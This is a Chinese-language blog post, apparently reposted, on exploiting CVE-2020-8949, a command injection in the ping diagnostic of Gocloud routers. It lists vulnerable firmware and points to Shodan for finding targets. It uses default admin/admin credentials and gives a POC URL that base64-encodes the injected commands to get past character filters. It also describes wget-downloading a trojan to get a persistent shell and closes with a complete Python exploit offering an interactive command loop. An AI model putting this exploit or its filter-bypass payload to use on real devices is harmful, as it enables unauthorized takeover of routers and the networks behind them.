Gocloud路由器预认证RCE漏洞利用(CVE-2020-8949)

Gocloud路由器预认证RCE漏洞利用(CVE-2020-8949)

0x01 写在前面

在研究CVE-2020-8949 漏洞的时候,学到一个新的执行命令的技巧,这个漏洞在远程执行命令的时候,执行的命令之间带有空格会被过滤掉,我试过很多种方式,用%20替换空格,或者用${IFS}代替,都会被过滤。然后执行了一下busybox ,看到里面有个大部分路由器不常见的命令,正式这个命令让我成功的上传木马,获取到了路由器稳定的shell,控制权限
请各位大佬往下看,后面会介绍这个路由器中不常见的命令。

0x02 漏洞验证

Gocloud路由器在我们日常生活中很少见,甚至都没怎么听说过,这个厂商的路由器经常用在企业或者网吧,没错,就是那个万象管理系统的网吧。下面是路由器登录的界面
Gocloud路由器预认证RCE漏洞利用(CVE-2020-8949)_第1张图片
以下Gould路由容易受到OS命令注入的影响:受影响的版本:
GOCLOUD S2A_WL-固件版本4.2.7.16471
GOCLOUD S2A-固件版本4.2.7.17278
GOCLOUD S2A-固件版本4.3.0.15815
GOCLOUD S2A-固件版本4.3.0.17193
GOCLOUD S3A(K2P MTK版本)-固件版本4.2.7.16528
GOCLOUD S3A-固件版本4.3.0.16572
GOCLOUD ISP3000英特尔®至强®E5-2660-固件版本4.3.0.17190
这款路由器基本上集中在中国,并且数量还不少。
在shodan 可以搜索到,搜索规则如图所示。
Gocloud路由器预认证RCE漏洞利用(CVE-2020-8949)_第2张图片
下图是我通过弱口令登录进去的
Gocloud路由器预认证RCE漏洞利用(CVE-2020-8949)_第3张图片
此漏洞的触发点在系统工具诊断工具中,
在url的“ ping”功能中,可以通过用“;”转义来注入命令。在注入命令的开头和结尾处
漏洞触发需要在认证之后。
Gocloud路由器预认证RCE漏洞利用(CVE-2020-8949)_第4张图片

POC:
http://IP:PORT/cgi-bin/webui/admin/tools/app_ping/diag_ping/%20;$(echo%20cHM=|base64%20-d);%20/5/56/false.com_

利用如下图所示
Gocloud路由器预认证RCE漏洞利用(CVE-2020-8949)_第5张图片

但是在利用的时候,我遇到了一些字符给我带来问题的问题,例如“ /”,因此我使用base64编码有效负载,这个设备中有base64 这个命令
Gocloud路由器预认证RCE漏洞利用(CVE-2020-8949)_第6张图片

$(echo command|base64 -d)
这其中的command 是要转成base64格式的。 base64 -d 是解码
整个意思是, 打印出命令,然后用base64解码,解码完之后执行。
Gocloud路由器预认证RCE漏洞利用(CVE-2020-8949)_第7张图片

0x03 漏洞利用

接下来看看如何利用,
弱口令 admin/admin
首先是上传木马,利用路由器中的wget命令。
上传的木马需要根据路由器的指令架构传递对应的M。 这里是X86的架构。
指令架构:Linux Router 3.10.108 #5 SMP Fri May 22 12:40:55 CST 2020 x86_64 GNU/Linux
注: 此设备是有base64 命令,虽然执行命令中带有/ - 等字符会被过滤,但是可以使用base64进行编码发送,然后解码执行。
如下图,左边是执行上传命令 右边的服务器接收到路由器的下载请求
Gocloud路由器预认证RCE漏洞利用(CVE-2020-8949)_第8张图片
执行木马
在这里插入图片描述

0x04 利用代码Exploit

# -*- coding:utf-8 -*-

import requests
import urllib
import base64
import re
import json
import time
# 执行命令EXP
def execute_command(command,TARGET):
	try:
		url = TARGET+"cgi-bin/webui"
		timestamp = str(time.time()).split(".")[0]
		# 创建session
		request1 = requests.session()
		login = {"csrftoken":"MTU5MzQ5NjI5MEdPQ0xPVUQ=",
			"password":"admin",
			"timestamp":"1593496290",
			"username":"admin"}
		#print(login)
		# 发送登录数据
		r = request1.post(url, data=login, verify=False,timeout=10)
		print(r.status_code)
		command1 = base64.b64encode(command)
		url2 = TARGET + "/cgi-bin/webui/admin/tools/app_ping/diag_ping/%20;$(echo%20"+command1+"|base64%20-d);%20/5/56/false.com_"
		r2 = request1.post(url2,verify=False,timeout=10)
		print(r2.url)
		print(r2.text)
	except Exception as e:
		print(e)
if __name__== '__main__':
	command = 'ifconfig'	
	while True:
		execute_command(command,'http://XXXXXXXXX')
		command = raw_input("~$: ")

0x05 参考

https://sku11army.blogspot.com/2020/02/gocloud-rce-in-gocloud-routers.html

你可能感兴趣的:(一无所知的渗透)